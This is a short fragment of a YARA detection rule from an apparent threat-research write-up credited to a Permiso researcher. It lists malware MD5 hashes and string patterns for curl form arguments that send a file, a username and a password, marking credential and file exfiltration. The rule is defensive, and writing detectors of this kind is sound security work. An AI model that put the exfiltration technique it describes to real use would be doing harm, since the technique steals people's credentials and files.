md5_06 = "99f0102d673423c920af1abc22f66d4e"
md5_07 = "99f0102d673423c920af1abc22f66d4e"
md5_08 = "5daace86b5e947e8b87d8a00a11bc3c5"
strings:
$curlFileArgGerman = ""Datei=@""
$curlArgSend = " -F "Send=1" "
$curlArgUsername = " -F "username="
$curlArgPassword = " -F "password="
condition:
all of them
Not: Bu makale Permiso araştırmacısı Abian Morina tarafından ustalıkla yazılmış ve katkıda bulunmuştur.